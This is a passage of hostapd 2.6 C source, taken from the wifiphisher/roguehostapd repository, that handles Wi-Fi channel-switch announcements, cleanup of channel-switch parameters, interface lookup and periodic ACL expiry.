VHT_CHANWIDTH_USE_HT; break; } if (ieee80211_freq_to_channel_ext( settings->freq_params.freq, settings->freq_params.sec_channel_offset, vht_bandwidth, &hapd->iface->cs_oper_class, &chan) == NUM_HOSTAPD_MODES) { wpa_printf(MSG_DEBUG, "invalid frequency for channel switch (freq=%d, sec_channel_offset=%d, vht_enabled=%d)", settings->freq_params.freq, settings->freq_params.sec_channel_offset, settings->freq_params.vht_enabled); return -1; } settings->freq_params.channel = chan; ret = hostapd_change_config_freq(iface->bss[0], iface->conf, &settings->freq_params, &old_freq); if (ret) return ret; ret = hostapd_build_beacon_data(hapd, &settings->beacon_after); /* change back the configuration */ hostapd_change_config_freq(iface->bss[0], iface->conf, &old_freq, NULL); if (ret) return ret; /* set channel switch parameters for csa ie */ hapd->cs_freq_params = settings->freq_params; hapd->cs_count = settings->cs_count; hapd->cs_block_tx = settings->block_tx; ret = hostapd_build_beacon_data(hapd, &settings->beacon_csa); if (ret) { free_beacon_data(&settings->beacon_after); return ret; } settings->counter_offset_beacon[0] = hapd->cs_c_off_beacon; settings->counter_offset_presp[0] = hapd->cs_c_off_proberesp; settings->counter_offset_beacon[1] = hapd->cs_c_off_ecsa_beacon; settings->counter_offset_presp[1] = hapd->cs_c_off_ecsa_proberesp; return 0; } void hostapd_cleanup_cs_params(struct hostapd_data *hapd) { os_memset(&hapd->cs_freq_params, 0, sizeof(hapd->cs_freq_params)); hapd->cs_count = 0; hapd->cs_block_tx = 0; hapd->cs_c_off_beacon = 0; hapd->cs_c_off_proberesp = 0; hapd->csa_in_progress = 0; hapd->cs_c_off_ecsa_beacon = 0; hapd->cs_c_off_ecsa_proberesp = 0; } int hostapd_switch_channel(struct hostapd_data *hapd, struct csa_settings *settings) { int ret; if (!(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_AP_CSA)) { wpa_printf(MSG_INFO, "CSA is not supported"); return -1; } ret = hostapd_fill_csa_settings(hapd, settings); if (ret) return ret; ret = hostapd_drv_switch_channel(hapd, settings); free_beacon_data(&settings->beacon_csa); free_beacon_data(&settings->beacon_after); if (ret) { /* if we failed, clean cs parameters */ hostapd_cleanup_cs_params(hapd); return ret; } hapd->csa_in_progress = 1; return 0; } void hostapd_switch_channel_fallback(struct hostapd_iface *iface, const struct hostapd_freq_params *freq_params) { int vht_seg0_idx = 0, vht_seg1_idx = 0, vht_bw = VHT_CHANWIDTH_USE_HT; unsigned int i; wpa_printf(MSG_DEBUG, "Restarting all CSA-related BSSes"); if (freq_params->center_freq1) vht_seg0_idx = 36 + (freq_params->center_freq1 - 5180) / 5; if (freq_params->center_freq2) vht_seg1_idx = 36 + (freq_params->center_freq2 - 5180) / 5; switch (freq_params->bandwidth) { case 0: case 20: case 40: vht_bw = VHT_CHANWIDTH_USE_HT; break; case 80: if (freq_params->center_freq2) vht_bw = VHT_CHANWIDTH_80P80MHZ; else vht_bw = VHT_CHANWIDTH_80MHZ; break; case 160: vht_bw = VHT_CHANWIDTH_160MHZ; break; default: wpa_printf(MSG_WARNING, "Unknown CSA bandwidth: %d", freq_params->bandwidth); break; } iface->freq = freq_params->freq; iface->conf->channel = freq_params->channel; iface->conf->secondary_channel = freq_params->sec_channel_offset; iface->conf->vht_oper_centr_freq_seg0_idx = vht_seg0_idx; iface->conf->vht_oper_centr_freq_seg1_idx = vht_seg1_idx; iface->conf->vht_oper_chwidth = vht_bw; iface->conf->ieee80211n = freq_params->ht_enabled; iface->conf->ieee80211ac = freq_params->vht_enabled; /* * cs_params must not be cleared earlier because the freq_params * argument may actually point to one of these. */ for (i = 0; i < iface->num_bss; i++) hostapd_cleanup_cs_params(iface->bss[i]); hostapd_disable_iface(iface); hostapd_enable_iface(iface); } #endif /* NEED_AP_MLME */ struct hostapd_data * hostapd_get_iface(struct hapd_interfaces *interfaces, const char *ifname) { size_t i, j; for (i = 0; i < interfaces->count; i++) { struct hostapd_iface *iface = interfaces->iface[i]; for (j = 0; j < iface->num_bss; j++) { struct hostapd_data *hapd = iface->bss[j]; if (os_strcmp(ifname, hapd->conf->iface) == 0) return hapd; } } return NULL; } void hostapd_periodic_iface(struct hostapd_iface *iface) { size_t i; ap_list_timer(iface); for (i = 0; i < iface->num_bss; i++) { struct hostapd_data *hapd = iface->bss[i]; if (!hapd->started) continue; #ifndef CONFIG_NO_RADIUS hostapd_acl_expire(hapd); #endif /* CONFIG_NO_RADIUS */ } }
wifiphisher/roguehostapd
roguehostapd/hostapd-2_6/src/ap/hostapd.c
C
bsd-3-clause
84,878